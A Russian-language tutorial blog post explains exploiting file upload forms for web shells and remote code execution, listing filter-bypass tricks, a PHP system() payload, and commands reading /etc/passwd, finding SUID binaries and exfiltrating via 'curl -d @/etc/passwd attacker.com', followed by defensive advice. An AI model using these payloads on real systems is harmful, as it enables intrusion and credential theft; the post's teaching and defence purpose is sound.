File Upload, RCE, RCE (Remote Code Execution), Web-shell

File Upload: от аватарки до веб-шелла за три шага

Эй, разработчики и пентестеры! Функция загрузки файлов — это золотая жила для взлома. 80% веб-приложений имеют ее, но проверяют криво. Атакующий тратит 5 минут, а ты теряешь сервер.

В этой статье — пошаговый разбор: от обнаружения уязвимости до выполнения команд. С кодом, инструментами и защитой. Только хардкор, без воды.

Шаг 1: Обнаружение дыры

Любая форма с <input type="file"> — цель. Целься на профили, чаты, отзывы. Если сервер принимает файл и показывает его (или сохраняет в web-root), bingo.

Тестируем базово

  • Загрузи .txt с <?php system('id'); ?>.
  • Если отображается как uploaded/file.txt — проверь доступ: http://target/uploaded/file.txt. Если выполняется PHP — уязвимость найдена.

Инструмент: Burp Suite. Перехватывай POST-запрос в Proxy. Меняй Content-Type и extension на лету.

Пример запроса:

Шаг 2: Байпас фильтров (Топ-5 трюков)

Серверы часто блочат .php, но пропускают JPG. Обходим это за секунды.

Трюк 1: Double Extension

shell.jpg.php. Если чек только на наличие .jpg — файл интерпретируется как PHP на Apache/Nginx.

Трюк 2: Null Byte (старый, но живой)

shell.php%00.jpg. В старых PHP (<5.3) %00 обрезает строку. Теперь редко, но на legacy — работает.

Трюк 3: Polyglot (универсальный файл)

Создай файл, который валиден как JPG и PHP. Добавь в начало JPG-хедер \xFF\xD8\xFF (magic bytes), а дальше шелл.

Загрузи — сервер видит JPG, но выполняет PHP.

Трюк 4: Content-Type Spoof

В Burp меняй Content-Type: image/jpeg на application/octet-stream. Или инжектируй EXIF-данные в JPG:

Сервер думает — картинка, но исполняет код.

Трюк 5: ZIP Slip или Path Traversal

../../shell.php. Если нет нормализации пути — шелл улетает в root.

Burp Intruder для автоматизации: Фиксируй filename и грузи payload’ы: .php.phtml.php.jpg и т.д..

Шаг 3: Получаем шелл и RCE

Шелл на месте? Выполняй команды:

Готовый мини-шелл (PHP):

Дальше — cmd=cat /etc/passwdcmd=find / -perm -4000 2>/dev/null (SUID), или cmd=curl -d @/etc/passwd attacker.com.

Для перса — апгрейдь до Meterpreter через msfvenom.

Защита: Не будь лохом

  1. Whitelist MIME и magic bytes: Чек header’а файла (libmagic). .jpg должен начинаться с \xFF\xD8.
  2. Храни вне web-root/var/uploads/ без exec прав. Служи через отдельный endpoint с проверкой.
  3. Рандомные именаuniqid() . '.' . $ext. Никто не найдет твой шелл.
  4. Размер/скан: Лимит 2MB, антивирус (ClamAV).
  5. Сервер-сайд валидация: Никогда не верь клиенту. Используй GD/ImageMagick для ресайза изображений — исполняемый код сломается.

Таблица сравнения чеков:

ЧекПлюсыМинусыБайпас
Extension blacklistПростоDouble extshell.php.jpg
MIME-typeСтандартноSpoof в Burpimage/jpeg + PHP
Magic bytesНадежноPolyglotGIF89a; + shell
Full scanИдеальноМедленно

Тестируй свой аплоад OWASP ZAP или Burp Scanner. Если прошел — фиксь.

Disclaimer: Только для пентеста своих/разрешенных систем. Взлом чужих — уголовка. Учись защищаться, а не вредить.

Копируй код, тестируй локально — и станешь королем аплоадов.

File Upload: от аватарки до веб-шелла за три шага

На этом все. Всем хорошего дня!